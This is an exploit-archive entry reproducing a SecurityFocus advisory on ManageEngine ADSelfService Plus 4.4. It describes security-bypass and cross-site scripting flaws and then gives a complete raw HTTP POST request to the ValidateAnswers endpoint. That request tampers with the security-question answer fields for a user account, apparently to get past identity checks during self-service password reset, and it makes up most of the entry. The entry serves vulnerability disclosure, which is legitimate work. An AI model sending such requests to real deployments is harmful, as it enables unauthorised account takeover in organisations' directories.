ManageEngine ADSelfService Plus 4.4 - POST Manipulation Security Question

source: https://www.securityfocus.com/bid/46331/info

ManageEngine ADSelfService Plus is prone to multiple vulnerabilities, including multiple security-bypass and cross-site scripting vulnerabilities.

Attackers can exploit these issues to bypass certain security restrictions and to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help them steal cookie-based authentication credentials and launch other attacks.

ManageEngine ADSelfService Plus 4.4 is vulnerable; other versions may also be affected. 

POST /accounts/ValidateAnswers?methodToCall=validateAll HTTP/1.1

Host: SERVER
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.example.com/accounts/ValidateUser
Cookie: JSESSIONID=8F93EB242EF06C51BE93EB0CEDA69085
Content-Type: application/x-www-form-urlencoded
Content-Length: 294

loginId=1501&Hide_Captcha=0&POLICY_ID=1&Confirm_Answer=1&SESSION_EXPIRY_TIME=5&LOGIN_NAME=alice&REM_SESSION_TIME=00%3A40&bAns=11111&bQues=PreDefined-2&bAns=22222&bQues=PreDefined-3&bAns=33333&bQues=PreDefined-4&bAns=44444&bQues=PreDefined-5&quesList=4&DIGEST=qodpgd&next=Continue&DIS_ALL_QUES=1